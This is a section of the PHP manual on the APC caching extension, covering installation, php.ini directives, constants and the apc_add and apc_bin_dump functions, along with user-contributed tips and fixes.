extension="/usr/lib64/php/modules/apc.so"
apc.enabled=1

# copy the shipped apc.php to see what is going on wit apc on your server
cp /usr/share/pear/apc.php /root_dir_of_your_web_app

# now you should be able to see stats of APC running
flydian80 at yahoo dot com 02-May-2012 02:45
Install successfully on RHEL5 with user-defined path. In case someone needs it, I put the steps here.

I am not the su user and don't have its right too. Basically I installed the Apache and PHP 5.3.10 on the folder under my user directory.
My user directoy like /home/dxxx, php is at /home/dxxx/php, apache is at /home/dxxx/php.

1: I get APC-3.1.9.tar.gz from PECL and put in at /home/dxxx/php/etc.
2: /home/dxxx/php/etc: tar -xvfz APC-3.1.9.tar.gz
3: We get a folder named APC-3.1.9, then cd APC-3.1.9
4: /home/dxxx/php/etc/APC-3.1.9: /home/dxxx/php/bin/./phpize ( because I installed php on user-defined foler, need to go there to find the "phpize")
It shows:
Configuring for:
PHP Api Version:         20090626
Zend Module Api No:      20090626
Zend Extension Api No:   220090626

5: /home/dxxx/php/etc/APC-3.1.9: ./config --with-php-config=/home/dxxx/php/bin/php-config --enable-apc --enable-apc-debug ( Because I am asked to put --with-php-config=PATH, if I don't provide it)

--Ignore the output message

6: /home/dxxx/php/etc/APC-3.1.9: make
We should be able to see a "apc.so" file under modules/.

7:  /home/dxxx/php/etc/APC-3.1.9: make install
This step copies that "apc.so" file to your extension folder. We can do it manually either.

8: Add extension=apc.so to you php.ini, then restart the apache server

9: /home/dxxx/php/etc/APC-3.1.9: /home/dxxx/php/bin/./php -m
We should be able to see the "apc" on the list
Anonymous 24-Jan-2012 09:16
On my Debian Squeeze 64-bit I also had to install the package "apache2-threaded-dev" with this command "apt-get install apache2-threaded-dev". Afterwards I did "pecl install apc" and everything seemed to work fine.
scarywound at gmail com 22-Nov-2011 09:45
Pay attention to the fact that installing php-apc package gives you APC version 3.1.3p1, which is according to http://pecl.php.net/package/APC UNSTABLE. If you want the latest STABLE edition (3.1.9 by now), you should use 'sudo pecl install apc' instead.
brian at diamondsea dot com 18-Jun-2011 04:34
When installing on Plesk and cPanel machines, I get the following error message:

[root@web1 ~]# pecl install apc
downloading APC-3.1.9.tgz ...
Starting to download APC-3.1.9.tgz (155,540 bytes)
.................................done: 155,540 bytes
54 source files, building
running: phpize
Configuring for:
PHP Api Version:         20041225
Zend Module Api No:      20060613
Zend Extension Api No:   220060519
/usr/bin/phpize: /tmp/pear/temp/APC/build/shtool: /bin/sh: bad interpreter: Permission denied
Cannot find autoconf. Please check your autoconf installation and the
$PHP_AUTOCONF environment variable. Then, rerun this script.

ERROR: `phpize' failed

The problem is caused by the /tmp/ filesystem being mounted noexec, which keeps any programs on /tmp/ from being allowed to be executed, which breaks the install script.

To remount /tmp/ as executable, use:

[root@web1 ~]# mount -o remount,exec,suid /tmp

The it should install correctly.

After the install is done, remount the /tmp/ filesystem with the noexec permissions reset.

[root@web1 ~]# mount -o remount,noexec,nosuid /tmp
pr at outwit dot com 15-Aug-2009 11:11
Installed successfully on different FreeBSD servers, with mmap and IPC semaphores, but I got an error on a 64 bits box :

apc_sem_create: semctl(65536,...) failed: Result too large

I had to increase maximum semaphore value :

# sysctl kern.ipc.semvmx=131068
kern.ipc.semvmx: 32767 -> 131068
# echo "kern.ipc.semvmx=131068" >>  /etc/sysctl.conf

Works like a charm.
toby at telegraphics dot com dot au 04-Apr-2009 07:04
On Gentoo,

# emerge pecl-apc

Check installation:

 $ php -r 'phpinfo();' |grep apc
additional .ini files parsed => /etc/php/cli-php5/ext-active/apc.ini,
apc
apc.cache_by_default => On => On
apc.coredump_unmap => Off => Off
apc.enable_cli => Off => Off
apc.enabled => On => On
apc.file_update_protection => 2 => 2
apc.filters => no value => no value
apc.gc_ttl => 3600 => 3600
apc.include_once_override => Off => Off
apc.max_file_size => 1M => 1M
apc.num_files_hint => 1024 => 1024
apc.report_autofilter => Off => Off
apc.rfc1867 => Off => Off
apc.rfc1867_freq => 0 => 0
apc.rfc1867_name => APC_UPLOAD_PROGRESS => APC_UPLOAD_PROGRESS
apc.rfc1867_prefix => upload_ => upload_
apc.shm_segments => 1 => 1
apc.shm_size => 30 => 30
apc.slam_defense => 0 => 0
apc.stat => On => On
apc.stat_ctime => Off => Off
apc.ttl => 7200 => 7200
apc.user_entries_hint => 4096 => 4096
apc.user_ttl => 7200 => 7200
apc.write_lock => On => On
suhosin.apc_bug_workaround => Off => Off
61924 dot 00 at gmail dot com 11-Dec-2008 07:23
sudo apt-get install php-apc
sudo /etc/init.d/apache2 restart

Was enough for me. I use Ubuntu Server 8.10.
Anonymous 26-Jul-2008 12:18
On Ubuntu I had to install the apache2-threaded-dev package.  It's the the Etch repos.
consistency 23-Jul-2008 10:07
debian etch installation

apt-get install apache2
apt-get install libapache2-mod-php5
apt-get install php-pear
apt-get install php5-dev
apt-get install make
apt-get install apache2-prefork-dev
pecl install apc

apache2-prefork-dev is necessary for not having the
"Sorry, I was not able to successfully run APXS."
error


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Although the default APC settings are fine for many installations, serious users should consider tuning the following parameters.

There are two primary decisions to be made configuring APC. First, how much memory is going to be allocated to APC; and second, whether APC will check if a file has been modified on every request. The two ini directives that control these settings are apc.shm_size and apc.stat, respectively. Read the sections on these two directive carefully below.

Once the server is running, the apc.php script that is bundled with the extension should be copied somewhere into the docroot and viewed with a browser as it provides a detailed analysis of the internal workings of APC. If GD is enabled in PHP, it will even display some interesting graphs. The first thing to ensure, of course, is that it is actually caching files. If APC is working, the Cache full count number (on the left) will display the number of times the cache has reached maximum capacity and has had to forcefully clean any entries that haven't been accessed in the last apc.ttl seconds. This number is minimized in a well-configured cache. If the cache is constantly being filled, and thusly forcefully freed, the resulting churning will have disparaging effects on script performance. The easiest way to minimize this number is to allocate more memory for APC. Barring that, the apc.filters ought to be used to cache fewer scripts.

When APC is compiled with mmap support (Memory Mapping), it will use only one memory segment, unlike when APC is built with SHM (SysV Shared Memory) support that uses multiple memory segments. MMAP does not have a maximum limit like SHM does in /proc/sys/kernel/shmmax. In general MMAP support is recommeded because it will reclaim the memory faster when the webserver is restarted and all in all reduces memory allocation impact at startup.

APC configuration options
Name | Default | Changeable | Changelog
apc.enabled | "1" | PHP_INI_SYSTEM | PHP_INI_SYSTEM in APC 2. PHP_INI_ALL in APC <= 3.0.12.
apc.shm_segments | "1" | PHP_INI_SYSTEM |
apc.shm_size | "32M" | PHP_INI_SYSTEM |
apc.shm_strings_buffer | "4M" | PHP_INI_SYSTEM | Available since APC 3.1.4.
apc.optimization | "0" | PHP_INI_ALL | PHP_INI_SYSTEM in APC 2. Removed in APC 3.0.13.
apc.num_files_hint | "1000" | PHP_INI_SYSTEM |
apc.user_entries_hint | "4096" | PHP_INI_SYSTEM | Available since APC 3.0.0.
apc.ttl | "0" | PHP_INI_SYSTEM | Available since APC 3.0.0.
apc.user_ttl | "0" | PHP_INI_SYSTEM | Available since APC 3.0.0.
apc.gc_ttl | "3600" | PHP_INI_SYSTEM |
apc.cache_by_default | "1" | PHP_INI_ALL | PHP_INI_SYSTEM in APC <= 3.0.12. Available since APC 3.0.0.
apc.filters | NULL | PHP_INI_SYSTEM |
apc.mmap_file_mask | NULL | PHP_INI_SYSTEM |
apc.slam_defense | "1" | PHP_INI_SYSTEM | Available since APC 3.0.0. Prior to APC 3.1.4, the default value was "0" (disabled).
apc.file_update_protection | "2" | PHP_INI_SYSTEM | Available since APC 3.0.6.
apc.enable_cli | "0" | PHP_INI_SYSTEM | Available since APC 3.0.7.
apc.max_file_size | "1M" | PHP_INI_SYSTEM | Available since APC 3.0.7.
apc.use_request_time | "1" | PHP_INI_ALL | Available since APC 3.1.3.
apc.stat | "1" | PHP_INI_SYSTEM | Available since APC 3.0.10.
apc.write_lock | "1" | PHP_INI_SYSTEM | Available since APC 3.0.11.
apc.report_autofilter | "0" | PHP_INI_SYSTEM | Available since APC 3.0.11.
apc.serializer | "default" | PHP_INI_SYSTEM | Available since APC 3.1.0.
apc.include_once_override | "0" | PHP_INI_SYSTEM | Available since APC 3.0.12.
apc.rfc1867 | "0" | PHP_INI_SYSTEM | Available since APC 3.0.13.
apc.rfc1867_prefix | "upload_" | PHP_INI_SYSTEM |
apc.rfc1867_name | "APC_UPLOAD_PROGRESS" | PHP_INI_SYSTEM |
apc.rfc1867_freq | "0" | PHP_INI_SYSTEM |
apc.rfc1867_ttl | "3600" | PHP_INI_SYSTEM | Available since APC 3.1.1.
apc.localcache | "0" | PHP_INI_SYSTEM | Available in APC 3.0.14 - 3.1.11.
apc.localcache.size | "512" | PHP_INI_SYSTEM | vailable in APC 3.0.14 - 3.1.11.
apc.coredump_unmap | "0" | PHP_INI_SYSTEM | Available since APC 3.0.16.
apc.stat_ctime | "0" | PHP_INI_SYSTEM | Available since APC 3.0.13.
apc.preload_path | NULL | PHP_INI_SYSTEM | Available since APC 3.1.1.
apc.file_md5 | "0" | PHP_INI_SYSTEM | Available since APC 3.1.1.
apc.canonicalize | "1" | PHP_INI_SYSTEM | Available since APC 3.1.1.
apc.lazy_functions | 0 | PHP_INI_SYSTEM | Available since APC 3.1.3.
apc.lazy_classes | 0 | PHP_INI_SYSTEM | Available since APC 3.1.3.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

apc.enabled boolean

apc.enabled can be set to 0 to disable APC. This is primarily useful when APC is statically compiled into PHP, since there is no other way to disable it (when compiled as a DSO, the extension line in php.ini can just be commented-out).

apc.shm_segments integer

The number of shared memory segments to allocate for the compiler cache. If APC is running out of shared memory but apc.shm_size is set as high as the system allows, raising this value might prevent APC from exhausting its memory.

apc.shm_size integer

The size of each shared memory segment in MB. By default, some systems (including most BSD variants) have very low limits on the size of a shared memory segment.

apc.shm_strings_buffer string

The size of memory to use as a shared buffer for strings used internally by APC. Size Should be suffixed by M for megabytes, G for gigabytes. Enabling this option will reduce the amount of memory used per PHP-FPM worker as strings will be stored once rather than for each worker.

apc.optimization integer

The optimization level. Zero disables the optimizer, and higher values use more aggressive optimizations. Expect very modest speed improvements. This is experimental.

apc.num_files_hint integer

A "hint" about the number of distinct source files that will be included or requested on your web server. Set to zero or omit if unsure; this setting is mainly useful for sites that have many thousands of source files.

apc.user_entries_hint integer

Just like apc.num_files_hint, a "hint" about the number of distinct user cache variables to store. Set to zero or omit if not sure.

apc.ttl integer

The number of seconds a cache entry is allowed to idle in a slot in case this cache entry slot is needed by another entry. Leaving this at zero means that APC's cache could potentially fill up with stale entries while newer entries won't be cached. In the event of a cache running out of available memory, the cache will be completely expunged if ttl is equal to 0. Otherwise, if the ttl is greater than 0, APC will attempt to remove expired entries.

apc.user_ttl integer

The number of seconds a cache entry is allowed to idle in a slot in case this cache entry slot is needed by another entry. Leaving this at zero means that APC's cache could potentially fill up with stale entries while newer entries won't be cached. In the event of a cache running out of available memory, the cache will be completely expunged if ttl is equal to 0. Otherwise, if the ttl is greater than 0, APC will attempt to remove expired entries.

apc.gc_ttl integer

The number of seconds that a cache entry may remain on the garbage-collection list. This value provides a fail-safe in the event that a server process dies while executing a cached source file; if that source file is modified, the memory allocated for the old version will not be reclaimed until this TTL reached. Set to zero to disable this feature.

apc.cache_by_default boolean

On by default, but can be set to off and used in conjunction with positive apc.filters so that files are only cached if matched by a positive filter.

apc.filters string

A comma-separated list of POSIX extended regular expressions. If any pattern matches the source filename, the file will not be cached. Note that the filename used for matching is the one passed to include/require, not the absolute path. If the first character of the expression is a + then the expression will be additive in the sense that any files matched by the expression will be cached, and if the first character is a - then anything matched will not be cached. The - case is the default, so it can be left off.

apc.mmap_file_mask string

If compiled with MMAP support by using --enable-mmap this is the mktemp-style file_mask to pass to the mmap module for determining whether your mmap'ed memory region is going to be file-backed or shared memory backed. For straight file-backed mmap, set it to something like /tmp/apc.XXXXXX (exactly 6 Xs). To use POSIX-style shm_open/mmap put a .shm somewhere in your mask. e.g. /apc.shm.XXXXXX You can also set it to /dev/zero to use your kernel's /dev/zero interface to anonymous mmap'ed memory. Leaving it undefined will force an anonymous mmap.

apc.slam_defense integer

On very busy servers whenever you start the server or modify files you can create a race of many processes all trying to cache the same file at the same time. This option sets the percentage of processes that will skip trying to cache an uncached file. Or think of it as the probability of a single process to skip caching. For example, setting apc.slam_defense to 75 would mean that there is a 75% chance that the process will not cache an uncached file. So, the higher the setting the greater the defense against cache slams. Setting this to 0 disables this feature.

Deprecated by apc.write_lock.

apc.file_update_protection integer

When a file is modified on a live web server it really ought to be done in an atomic manner. That is, written to a temporary file and renamed (mv) the file into its permanent position when it is ready. Many text editors, cp, tar and other such programs don't do this. This means that there is a chance that a file is accessed (and cached) while it is still being written to. This apc.file_update_protection setting puts a delay on caching brand new files. The default is 2 seconds, which means that if the modification timestamp (mtime) on a file shows that it is less than 2 seconds old when it is accessed, it will not be cached. The unfortunate person who accessed this half-written file will still see weirdness, but at least it won't persist. If all of the webserver's files are atomically updated, via some method like rsync (which updates correctly), this protection can be disabled by setting this directive to 0. If the system is flooded with i/o and some update procedures are taking longer than 2 seconds, this setting should be increased to enable the protection on those slower update operations.

apc.enable_cli integer

Mostly for testing and debugging. Setting this enables APC for the CLI version of PHP. Under normal circumstances, it is not ideal to create, populate and destroy the APC cache on every CLI request, but for various test scenarios it is useful to be able to enable APC for the CLI version of PHP easily.

apc.max_file_size integer

Prevent files larger than this value from getting cached. Defaults to 1M.

apc.stat integer

Be careful changing this setting. This defaults to on, forcing APC to stat (check) the script on each request to determine if it has been modified. If it has been modified it will recompile and cache the new version. If this setting is off, APC will not check, which usually means that to force APC to recheck files, the web server will have to be restarted or the cache will have to be manually cleared. Note that FastCGI web server configurations may not clear the cache on restart. On a production server where the script files rarely change, a significant performance boost can be achieved by disabled stats.

For included/required files this option applies as well, but note that for relative path includes (any path that doesn't start with / on Unix) APC has to check in order to uniquely identify the file. If you use absolute path includes APC can skip the stat and use that absolute path as the unique identifier for the file.

apc.write_lock boolean

On busy servers, when the web server is first started, or when many files have been modified at the same time, APC may try to compile and cache the same file multiple times. Write_lock guarantees that only one process will attempt to compile and cache an uncached script. The other processes attempting to use the script will run without using the opcode cache, rather than locking and waiting for the cache to prime.

apc.report_autofilter boolean

Logs any scripts that were automatically excluded from being cached due to early/late binding issues.

apc.serializer string

Used to configure APC to use a third party serializer.

apc.include_once_override boolean

Optimize include_once and require_once calls and avoid the expensive system calls used.

Warning

This feature is EXPERIMENTAL. The behaviour of this directive, its name, and surrounding documentation may change without notice in a future release of APC. This feature should be used at your own risk.

apc.rfc1867 boolean

RFC1867 File Upload Progress hook handler is only available if APC was compiled against PHP 5.2.0 or later. When enabled, any file uploads which includes a field called APC_UPLOAD_PROGRESS before the file field in an upload form will cause APC to automatically create an upload_key user cache entry where key is the value of the APC_UPLOAD_PROGRESS form entry.

Note that the hidden field specified by APC_UPLOAD_PROGRESS must come before the file field, otherwise the upload progress will not work correctly.

Note that the file upload tracking is not threadsafe at this point, so new uploads that happen while a previous one is still going will disable the tracking for the previous.

Note that the rate is only available once all file transfers are completed.

Example #1 An apc.rfc1867 example

<?php
print_r(apc_fetch("upload_$_POST[APC_UPLOAD_PROGRESS]"));
?>

The above example will output something similar to:

Array
(
    [total] => 1142543
    [current] => 1142543
    [rate] => 1828068.8
    [filename] => test
    [name] => file
    [temp_filename] => /tmp/php8F
    [cancel_upload] => 0
    [done] => 1
)

apc.rfc1867_prefix string

Key prefix to use for the user cache entry generated by rfc1867 upload progress functionality.

apc.rfc1867_name string

Specify the hidden form entry name that activates APC upload progress and specifies the user cache key suffix.

apc.rfc1867_freq string

The frequency that updates should be made to the user cache entry for upload progress. This can take the form of a percentage of the total file size or a size in bytes optionally suffixed with "k", "m", or "g" for kilobytes, megabytes, or gigabytes respectively (case insensitive). A setting of 0 updates as often as possible, which may cause slower uploads.

apc.rfc1867_ttl integer

TTL for rfc1867 entries.

apc.localcache boolean

This enables a lock-free local process shadow-cache which reduces lock contention when the cache is being written to.

apc.localcache.size integer

The size of the local process shadow-cache, should be set to a sufficiently large value, approximately half of apc.num_files_hint.

apc.coredump_unmap boolean

Enables APC handling of signals, such as SIGSEGV, that write core files when signaled. When these signals are received, APC will attempt to unmap the shared memory segment in order to exclude it from the core file. This setting may improve system stability when fatal signals are received and a large APC shared memory segment is configured.

Warning

This feature is potentially dangerous. Unmapping the shared memory segment in a fatal signal handler may cause undefined behaviour if a fatal error occurs.

Note:

Although some kernels may provide a facility to ignore various types of shared memory when generating a core dump file, these implementations may also ignore important shared memory segments such as the Apache scoreboard.

apc.stat_ctime integer

Verification with ctime will avoid problems caused by programs such as svn or rsync by making sure inodes haven't changed since the last stat. APC will normally only check mtime.

apc.canonicalize bool

If on, then relative paths are canonicalized in no-stat mode. If set, then files included via stream wrappers can not be cached as realpath() does not support stream wrappers.

apc.preload_path string

Optionally, set a path to the directory that APC will load cache data at startup.

apc.use_request_time bool

Use the SAPI request start time for TTL.

apc.file_md5 bool

Records a md5 hash of files.

apc.lazy_functions integer

Enables lazy loading for functions.

apc.lazy_classes integer

Enables lazy loading for classes.

User Contributed Notes

klaus at hax dot at 11-Jun-2013 10:02
Note: If you want to run a script on Windows with apc.enabled=1 as a scheduled task whilst another instance of php is running (like on a webserver) apparently you have to disable apc for this scheduled task, otherwise it will not run and you will have something in your error log like: PHP Fatal error: PHP Startup: apc_shm_create: shmget(0, 33554432, 658) failed: No such file or directory.

So simply execute your scheduled task with:

c:\php\php.exe -d apc.enabled=0 and all will be fine.
bas_vijfiwinkel 17-Aug-2012 02:36
I took some time to look at the preload_path option.

At the moment of writing the preload_path option is broken because of a bug in the APC source code
which will not allow you to properly preload the cache.

The way to fix it :
Inside 'main_apc.c' in the method called 'static int apc_load_data(const char *data_file TSRMLS_DC)', the length of the key of the value that needs to be stored is determined with the following line :
key_len = strlen(key);
If I am correct this is only the length of the string itself without the null-terminator
However, "_apc_store" seems to want the length of the key string including the terminator.
If I change the line above to :
key_len = strlen(key)+1;
then the preload function works as expected.
You can also notice that 1 character is missing when looking at the user cache entries apc.php. But if you try to use that as a key then APC will not return the contents so that didn't work as a workaround.

If one is able to compile the apc library from source, then one can of course easily fix this option by changing the source code.

Files in the specified path should have the extension '.data'.
The filename itself will become the key for the data that is in that specific file.
The data in the file is a serialized string representing what you want to assign to the specific key. For example s:2:"123" will generate the string "123".
One can only specify 1 value for each key and it should be null-terminated.

It is not possible to preload PHP scripts.
Only values that one retrieved with apc_fetch can be preloaded.
d_inkubus at yahoo dot com 20-Feb-2010 08:49
apc.include_once_override=1 can cause more problems than it solves.  If you're running into weird errors regarding relative paths, make sure this setting is off.  PHP 5.3 already implements most of the speed ups in these calls anyway.
amir w of colnect dot com TIPS 01-Feb-2010 02:30
apc.stat is an extremely important setting for a production server, especially if many files are accessed on every request, which is quite normal on complicated web applications.

Always aspire to use:
apc.stat="0"
so that APC does not try to check that each and every file exists on every request you make. It also means you can update files on your server without crashing incoming requests on that time fragment. Whenever you wish to force APC to re-read all the files, simply clear the cache or restart your server.
amir w of colnect dot com TIPS 01-Feb-2010 02:03
Want to avoid segmentation with apc.shm_segments?If your linux server limits the shared memory block size and you're forced to use apc.shm_segments instead, change the setting by using (here is 512M but change it as you like):
# sysctl -w kernel.shmmax=536870912

(but if you want the change to be permanent after a restart you would have to add the following line in /etc/sysctl.conf

kernel.shmmax=536870912)

and updating apc.ini

apc.shm_segments="1"
apc.shm_size="512"

apc.stat is an extremely important setting for a production server, especially if many files are accessed on every request, which is quite normal on complicated web applications.

Always aspire to use:
apc.stat="0"
so that APC does not try to check that each and every file exists on every request you make. It also means you can update files on your server without crashing incoming requests on that time fragment. Whenever you wish to force APC to re-read all the files, simply clear the cache or restart your server.
fusionstream [a](t) gmail.com 14-Jan-2010 11:25
If you are getting 0kb out of 0kb for your upload progress with large files, make sure that upload_max_filesize and post_max_size are larger than the file you are uploading. As far as I can tell, apc.max_file_size does not affect it.
Will 10-Nov-2009 01:27
For anyone wondering why shm_segments is being ignored on their setup, it could be because of the following:

If you've configured APC to use memory mapped files (with the --enable-mmap option), the shm_segments setting is ignored unless you specify a file mask via the mmap_file_mask setting.

This is because APC won't attempt to create multiple anonymous files to map into memory without a mask (since it has no way of naming them sensibly). To set up multiple segments you have to give a file mask so they can be named separately.

apc.mmap_file_mask=/tmp/apc.XXXXXX

Make sure to use exactly 6 "X"s (this is the part that is changed by APC). You can place these files anywhere, they don't have to go in /tmp.

With that said, I'm not sure what the performance impact of having multiple MMAP segments would be. I'm guessing it would probably be negative so you probably don't want to do this.
neorush at gmail dot com 27-Aug-2009 12:16
apc_fetch always returned false.  Turns out that "apc.rfc1867" was set to "0".  I added this line to my php.ini:
apc.rfc1867 = 1
but it could have certainly been changed with ini_set().  That took me way to long to figure out.
bishop 26-Feb-2009 04:22
The apc.rfc1867 example code above is a little fast and loose for those running in environments where APC RFC1867 may or may not be available.  This is a little more expressive:

<?php

// if we have PHP and APC
$havePHP = (1 === version_compare(PHP_VERSION, '5.2.0') ? true : false);
$haveAPC = (extension_loaded('apc') && 1 === version_compare(phpversion('apc'), '3.0.13') ? true : false);
if ($havePHP && $haveAPC) {
    // if APC and upload tracking is enabled
    if (ini_get('apc.enabled') && ini_get('apc.rfc1867')) {
        // get the stats
        $key = ini_get('apc.rfc1867_prefix') . $_REQUEST['apcid'];
        $stats = apc_fetch($key);
    }
}

?>
lamperz at gmail dot com 31-Oct-2008 06:52
I'm trying to get upload progress with apc_fetch.
I founded apc_fetch always return false till the upload completed.After fews hours debug, I finally notice that my APC_UPLOAD_PROGRESS was set after the file form.

SO, You should write your form like this
<input type="hidden" id="file_id" name="APC_UPLOAD_PROGRESS" value="blablabla"/>
<input type="file" id="select_file" name="file" value="upload" onchange="parent.test();"/>

the hidden field with name="APC_UPLOAD_PROGRESS" SHOULD be ALWAYS BEFORE input type="file"
danbettles at yahoo dot co dot uk 11-Oct-2008 01:26
To automatically cache only PHP class files named "<class name>.class.php", add the following lines to php.ini.

apc.cache_by_default = "Off"
apc.filters = "+\.class\.php$"

Notes:
- The regexp is case /sensitive/, so if, say, your project contains filenames with mixed case, you'll need something like "+\.(class|CLASS)\.(php|PHP)$".  I've tried delimiting patterns and using the "i" modifier, but that doesn't seem to work.
- Setting cache_by_default to "On" and applying the positive filter will /not/ work.

If you have more complicated requirements and, like me, you're not familiar with POSIX Extended Regular Expressions (ERE) inparticular, you may find the following link useful.  http://www.regular-expressions.info/refflavors.html


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

APC_BIN_VERIFY_CRC32 (integer)
APC_BIN_VERIFY_MD5 (integer)
APC_ITER_ALL (integer)
APC_ITER_ATIME (integer)
APC_ITER_CTIME (integer)
APC_ITER_DEVICE (integer)
APC_ITER_DTIME (integer)
APC_ITER_FILENAME (integer)
APC_ITER_INODE (integer)
APC_ITER_KEY (integer)
APC_ITER_MD5 (integer)
APC_ITER_MEM_SIZE (integer)
APC_ITER_MTIME (integer)
APC_ITER_NONE (integer)
APC_ITER_NUM_HITS (integer)
APC_ITER_REFCOUNT (integer)
APC_ITER_TTL (integer)
APC_ITER_TYPE (integer)
APC_ITER_VALUE (integer)
APC_LIST_ACTIVE (integer)
APC_LIST_DELETED (integer)

User Contributed Notes

There are no user contributed notes for this page.


APC Functions

Table of Contents

  • apc_add — Cache a new variable in the data store
  • apc_bin_dump — Get a binary dump of the given files and user variables
  • apc_bin_dumpfile — Output a binary dump of cached files and user variables to a file
  • apc_bin_load — Load a binary dump into the APC file/user cache
  • apc_bin_loadfile — Load a binary dump from a file into the APC file/user cache
  • apc_cache_info — Retrieves cached information from APC's data store
  • apc_cas — Updates an old value with a new value
  • apc_clear_cache — Clears the APC cache
  • apc_compile_file — Stores a file in the bytecode cache, bypassing all filters.
  • apc_dec — Decrease a stored number
  • apc_define_constants — Defines a set of constants for retrieval and mass-definition
  • apc_delete_file — Deletes files from the opcode cache
  • apc_delete — Removes a stored variable from the cache
  • apc_exists — Checks if APC key exists
  • apc_fetch — Fetch a stored variable from the cache
  • apc_inc — Increase a stored number
  • apc_load_constants — Loads a set of constants from the cache
  • apc_sma_info — Retrieves APC's Shared Memory Allocation information
  • apc_store — Cache a variable in the data store

User Contributed Notes

joe at simpson dot com 20-Sep-2007 01:53
It seems there are issues when using APC to cache database result sets as PDOStatements. Any attempts I have made always result in an exception being thrown with the message: 'You cannot serialize or unserialize PDOStatement instances'
zytzagoo at NOSPAMPLEASEgmail dot com 30-Jul-2007 03:21
Keep in mind to always prefix or suffix your cache key names with something specific to your site/app/setup, to avoid the risk of your apc cache entries being overwritten/deleted/modified by someone else on the same server.

Assume we have some code like this:

<?php apc_store('config', $cfg); ?>

Now assume someone else on the same server is also using 'config' as the key passed to an apc_store(), apc_delete() (etc.) call in some other piece of code on the whole server.

Since you're both working on the exact same cache entry, all sorts of wierd things can happen, but the problem is not in your code at all.
bjoern dot andersen at atosorigin dot com 23-May-2007 05:14
In IIS6 you can't use php_apc.dll with application pools or webgardens (Multi-Instance/Multi-Threading). Maybe this applies even to all Multithreading environments - i don't know.

When you try it, the Application pools terminate when requests run simultaneously.
ashus at atlas dot cz 21-Mar-2007 03:56
If you don't really need caching and plan to use it for one page only, you could try an alternative; writing a file and then flushing it back if specified time hasn't passed. I use it to read and parse third party websites, to check for new subtitles and output a RSS xml file.

<?php
if ((is_file($_SERVER['SCRIPT_FILENAME'].'.cached'))
    && (time()-filemtime($_SERVER['SCRIPT_FILENAME'].'.cached') < 3600))
    {
    readfile($_SERVER['SCRIPT_FILENAME'].'.cached');
    exit;
    }

// (the php script itself goes here)

echo $out;
$fp = fopen($_SERVER['SCRIPT_FILENAME'].'.cached', 'w');
fwrite($fp, $out);
fclose($fp);

?>

Note, that this only works for pages, which are without GET or POST variables, sessions, etc. You can change the number of seconds the cache works for (3600 = an hour). Also, use "$out.=" instead of "echo" command. Just store all output to that variable (if you need to use it inside a function, use "global $out" instead).
This workaround was written in about 5 minutes and may contain bugs.
dustymugs 31-Jan-2007 03:14
In windows, if you load php_apc.dll but do not enable it, apache may crash when attempting to restart or stop.

So, if you've not enabled APC but are loading it, comment out the loading.


Cache a new variable in the data store

  • « APC Functions
  • apc_bin_dump »
  • PHP Manual
  • APC Functions
  • Cache a new variable in the data store

apc_add

(PECL apc >= 3.0.13)

apc_add — Cache a new variable in the data store

Description

bool apc_add ( string $key , mixed $var [, int $ttl = 0 ] )
array apc_add ( array $values [, mixed $unused = NULL [, int $ttl = 0 ]] )

Caches a variable in the data store, only if it's not already stored.

Note: Unlike many other mechanisms in PHP, variables stored using apc_add() will persist between requests (until the value is removed from the cache).

Parameters

key

Store the variable using this name. keys are cache-unique, so attempting to use apc_add() to store data with a key that already exists will not overwrite the existing data, and will instead return FALSE. (This is the only difference between apc_add() and apc_store().)

var

The variable to store

ttl

Time To Live; store var in the cache for ttl seconds. After the ttl has passed, the stored variable will be expunged from the cache (on the next request). If no ttl is supplied (or if the ttl is 0), the value will persist until it is removed from the cache manually, or otherwise fails to exist in the cache (clear, restart, etc.).

values

Names in key, variables in value.

Return Values

Returns TRUE if something has effectively been added into the cache, FALSE otherwise. Second syntax returns array with error keys.

Examples

Example #1 A apc_add() example

<?php
$bar = 'BAR';
apc_add('foo', $bar);
var_dump(apc_fetch('foo'));
echo "\n";
$bar = 'NEVER GETS SET';
apc_add('foo', $bar);
var_dump(apc_fetch('foo'));
echo "\n";
?>

The above example will output:

string(3) "BAR"
string(3) "BAR"

See Also

  • apc_store() - Cache a variable in the data store
  • apc_fetch() - Fetch a stored variable from the cache
  • apc_delete() - Removes a stored variable from the cache

User Contributed Notes

zhubaiying at 126 dot com 17-Apr-2013 11:25
$cache = apc_cache('demo' ,'demo');
//return true

$cache = apc_cache('demo', 'other');
//return false


Get a binary dump of the given files and user variables

  • « apc_add
  • apc_bin_dumpfile »
  • PHP Manual
  • APC Functions
  • Get a binary dump of the given files and user variables

apc_bin_dump

(PECL apc >= 3.1.4)

apc_bin_dump — Get a binary dump of the given files and user variables

Description

string apc_bin_dump ([ array $files = NULL [, array $user_vars = NULL ]] )

Returns a binary dump of the given files and user variables from the APC cache. A NULL for files or user_vars signals a dump of every entry, whereas array() will dump nothing.

Parameters

files

The files. Passing in NULL signals a dump of every entry, while passing in array() will dump nothing.

user_vars

The user vars. Passing in NULL signals a dump of every entry, while passing in array() will dump nothing.

Return Values

Returns a binary dump of the given files and user variables from the APC cache, FALSE if APC is not enabled, or NULL if an unknown error is encountered.

See Also

  • apc_bin_dumpfile() - Output a binary dump of cached files and user variables to a file
  • apc_bin_load() - Load a binary dump into the APC file/user cache

User Contributed Notes

mightye+php at gmail dot com 11-Jan-2012 04:44
These items aren't clear to me from the documentation.

In order to store file opcodes (the first parameter), you MUST have apc.stat set to 0, and filenames passed into the first parameter MUST be absolute (full) paths.  Any other configuration will generate a warning and will not dump the files.  Also, apc.stat cannot be changed at runtime (so you can't do ini_set('apc.stat', 0) prior to executing the apc_bin_dump* functions), it must be set in php.ini (or otherwise defined prior to execution of your script; for example for PHP CLI you can do "php -d apc.stat=0").

The files passed to apc_bin_dump*() must already exist in the opcode cache; you should do apc_compile_file() on any filenames you're not certain will be in the cache already (best practice is to do it for all files to be certain they are up to date since the mandatory apc.stat=0 disables checking whether the files are up to date, but apc_compile_file() will always refresh the file's cache).

When doing apc_bin_load*(), you do not have to have apc.stat=0, but failing to have this value may overwrite your restored value with a newly created opcode from the file on the disk if anything attempts to include that file again (even other scripts at a later time).

If you're intending to just store variables (not file opcodes), you don't have to have apc.stat=0, but you will still get a warning about apc.stat not being the correct value, even if the first parameter is an empty array() or null.

